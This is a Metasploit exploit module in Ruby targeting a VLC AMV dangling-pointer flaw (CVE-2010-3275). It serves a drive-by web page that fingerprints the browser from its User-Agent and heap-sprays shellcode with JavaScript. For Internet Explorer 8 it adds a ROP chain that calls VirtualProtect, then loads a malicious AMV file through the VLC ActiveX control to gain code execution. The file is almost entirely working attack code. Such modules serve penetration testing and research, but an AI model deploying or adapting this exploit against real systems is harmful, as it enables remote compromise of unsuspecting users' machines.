##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info={})
		super(update_info(info,
			'Name'        => "VLC AMV Dangling Pointer Vulnerability",
			'Description' => %q{
					This module exploits VLC media player when handling a .AMV file. By flipping
				the 0x41st byte in the file format (video width/height), VLC crashes due to an
				invalid pointer, which allows remote attackers to gain arbitrary code execution.
				The vulnerable packages include: VLC 1.1.4, VLC 1.1.5, VLC 1.1.6, VLC 1.1.7. Also,
				please note that IE 8 targets require Java support in order to run properly.
				},
			'License'     => MSF_LICENSE,
			'Version'     => "$Revision$",
			'Author'      =>
				[
					'sinn3r',
				],
			'References' =>
				[
					['CVE', '2010-3275'],
					['OSVDB', '71277'],
					['URL', 'http://www.coresecurity.com/content/vlc-vulnerabilities-amv-nsv-files'],
					# Fix commit diff
					['URL', 'http://git.videolan.org/?p=vlc/vlc-1.1.git;a=commitdiff;h=fe44129dc6509b3347113ab0e1a0524af1e0dd11']
				],
			'Payload' =>
				{
					'BadChars'        => "\x00",
					'space'           => 1024,
					#Fix the stack before the decoder so we can decode properly
					#SUB SP, 0X100; POPAD; POPFD
					'PrependEncoder'  => "\x66\x81\xec\x01\x01\x61",
					#Fix the stack again so the payload runs properly
					#ADD SP,0x61
					'Prepend'         => "\x66\x83\xc4\x61",
				},
			'DefaultOptions' =>
				{
					'ExitFunction' => "process",
					'InitialAutoRunScript' => 'migrate -f',
				},
			'Platform' => 'win',
			'Targets'  =>
				[
					[ 'Automatic', {} ],
					[ 'Internet Explorer 6 on XP SP3', { 'Rop' => false, 'TargetAddr' => 0x0c0c0c0c } ],
					[ 'Internet Explorer 7 on XP SP3', { 'Rop' => false, 'TargetAddr' => 0x0c0c0c0c } ],
					[ 'Internet Explorer 8 on XP SP3', { 'Rop' => true,  'TargetAddr' => 0x77025024 } ],
					[ 'Internet Explorer 7 on Vista',  { 'Rop' => false, 'TargetAddr' => 0x0c0c0c0c } ]
				],
			'DisclosureDate' => "Mar 23 2011",
			'DefaultTarget' => 0))

		register_options(
			[
				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
			], self.class)
	end

	def get_target(cli, request)
		#Default target
		my_target = target

		vprint_status("User-Agent: #{request.headers['User-Agent']}")

		if target.name == 'Automatic'
			agent = request.headers['User-Agent']
			if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
				#Windows XP + IE 6
				my_target = targets[1]
			elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
				#Windows XP + 7.0
				my_target = targets[2]
			elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/
				#Windows XP + IE 8.0
				my_target = targets[3]
			elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7\.0/
				#Windows Vista + IE 7.0. Win Server 2008 is also NT 6.0
				my_target = targets[4]
			elsif agent =~ /^vlc/
				#VLC identifies itself as "VLC" when requesting our trigger file
				return 'VLC'
			elsif agent =~ /^NSPlayer/
				#NSPlayer is also used while requesting the trigger file
				return 'VLC'
			else
				#If we don't recognize the client, we don't fire the exploit
				my_target = nil
			end
		end

		return my_target
	end

	def exploit
		#Load trigger file
		path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2010-3275.amv")
		f = File.open(path, "rb")
		@trigger = f.read
		f.close

		#Set trigger file name
		@filename = rand_text_alpha(rand(6) + 3)

		super
	end

	def on_request_uri(cli, request)
		#Pick the right target
		my_target = get_target(cli, request)
		if my_target.nil?
			vprint_error("Target not supported")
			send_not_found(cli)
			return
		end

		vprint_status("URL: #{request.uri.to_s}")

		#Send the trigger file upon request
		if request.uri.match(/\.amv/)
			print_status("Sending trigger file")
			send_response(cli, @trigger, { 'Content-Type' => 'text/plain' } )
			return
		end

		#ARCH used by the victim machine
		arch = Rex::Arch.endian(my_target.arch)

		#Generate our payload
		if my_target['Rop']
			#IE 8 targets
			#mona.py tekniq! + Payload
			code = [
				0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
				0x7c37a140,  # Make EAX readable
				0x7c37591f,  # PUSH ESP # ... # POP ECX # POP EBP # RETN (MSVCR71.dll)
				0x7c348b06,  # EBP (NOP)
				0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
				0x7c37a140,  # <- VirtualProtect() found in IAT
				0x7c3530ea,  # MOV EAX,DWORD PTR DS:[EAX] # RETN (MSVCR71.dll)
				0x7c346c0b,  # Slide, so next gadget would write to correct stack location
				0x7c376069,  # MOV [ECX+1C],EAX # P EDI # P ESI # P EBX # RETN (MSVCR71.dll)
				0x7c348b06,  # EDI (filler)
				0x7c348b06,  # will be patched at runtime (VP), then picked up into ESI
				0x7c348b06,  # EBX (filler)
				0x7c376402,  # POP EBP # RETN (msvcr71.dll)
				0x7c345c30,  # ptr to push esp #  ret  (from MSVCR71.dll)
				0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
				0xfffff82f,  # size 20001 bytes
				0x7c351e05,  # NEG EAX # RETN (MSVCR71.dll)
				0x7c354901,  # POP EBX # RETN (MSVCR71.dll)
				0xffffffff,  # pop value into ebx
				0x7c345255,  # INC EBX # FPATAN # RETN (MSVCR71.dll)
				0x7c352174,  # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (MSVCR71.dll)
				0x7c34d201,  # POP ECX # RETN (MSVCR71.dll)
				0x7c38b001,  # RW pointer (lpOldProtect) (-> ecx)
				0x7c34b8d7,  # POP EDI # RETN (MSVCR71.dll)
				0x7c34b8d8,  # ROP NOP (-> edi)
				0x7c344f87,  # POP EDX # RETN (MSVCR71.dll)
				0xffffffc0,  # value to negate, target value : 0x00000040, target: edx
				0x7c351eb1,  # NEG EDX # RETN (MSVCR71.dll)
				0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
				0x90909090,  # NOPS (-> eax)
				0x7c378c81,  # PUSHAD # ADD AL,0EF # RETN (MSVCR71.dll)
			].pack('V*')

			#Append payload after the ROP chain
			code << payload.encoded

			#Align and 'jump' to our final payload at 0x0c0c0c0c
			ini_stage = [
				0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
				0x0c0c0c0c,  # Address of the payload
				0x7C348B05,  # XCHG EAX,ESP # RETN (MSVCR71.dll)
			].pack('V*')

			#Add padding to line up the pivot correctly
			ini_stage << rand_text_alpha(128-ini_stage.length)

			nops = Rex::Text.to_unescape(rand_text_alpha(4), arch)
			code = Rex::Text.to_unescape(code, arch)
			pivot = Rex::Text.to_unescape(ini_stage + [my_target['TargetAddr']].pack('V*'), arch)
		else
			#Non IE 8 targets
			nops = Rex::Text.to_unescape("\x0c\x0c\x0c\x0c", arch)
			code = Rex::Text.to_unescape(payload.encoded, arch)
			pivot   = Rex::Text.to_unescape([my_target['TargetAddr']].pack('V*'), arch)
		end

		#First spray overwrites 0x0c0c0c0c with our payload
		spray_1 = <<-JS
		var heap_obj = new heapLib.ie(0x20000);
		var code = unescape("#{code}");
		var nops = unescape("#{nops}");

		while (nops.length < 0x1000) nops += nops;
		var offset = nops.substring(0, 0x600-0x20);
		var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

		while (shellcode.length < 0x20000) shellcode += shellcode;
		var block = shellcode.substring(0, (0x10000-6)/2);

		heap_obj.gc();

		for (var i=0; i<0x1000; i++) {
			heap_obj.alloc(block);
		}
		JS

		#An invalid pointer gets passed on to libdirectx_plugin!vlc_entry_license__1_1_0g,
		#which requires us to fill up the memory as high as 0x303234ca
		spray_2 = <<-JS
		var padding = unescape("#{nops}");
		var pivot = unescape("#{pivot}");

		while (padding.length < 0x20000) padding += padding;
		var offset2 = padding.substring(0, 0x1ff);
		var p = offset2 + pivot + nops.substring(0, 0x800-pivot.length-offset2.length);

		while (p.length < 0x20000) p += p;
		var pivot_block = p.substring(0, (0x10000-6)/2);

		for (var i2=0; i2 < 0x2000; i2++) {
			heap_obj.alloc(pivot_block);
		}
		JS

		#Use heaplib
		js = heaplib(spray_1 + spray_2)

		#obfuscate on demand
		if datastore['OBFUSCATE']
			js = ::Rex::Exploitation::JSObfu.new(js)
			js.obfuscate
		end

		#Value for the 'Src' parameter of our ActiveX control
		trigger_file = get_resource() + "/" + @filename + ".amv"

		html = <<-EOS
		<html>
		<head>
		</head>
		<body>
		<script language='javascript'>
		#{js}
		</script>
		<object classid="clsid:9BE31822-FDAD-461B-AD51-BE1D1C159921"
				codebase="http://downloads.videolan.org/pub/videolan/vlc/latest/win32/axvlc.cab"
				width="0" height="0"
				events="True">
		<param name="Src" value="#{trigger_file}"></param>
		<param name="ShowDisplay" value="False" ></param>
		<param name="AutoLoop" value="no"></param>
		<param name="AutoPlay" value="yes"></param>
		</object>
		</body>
		</html>
		EOS

		#Remove extra tabs in HTML
		html = html.gsub(/^\t\t/, "")

		print_status("Sending #{self.name}")
		send_response( cli, html, {'Content-Type' => 'text/html'} )
	end
end
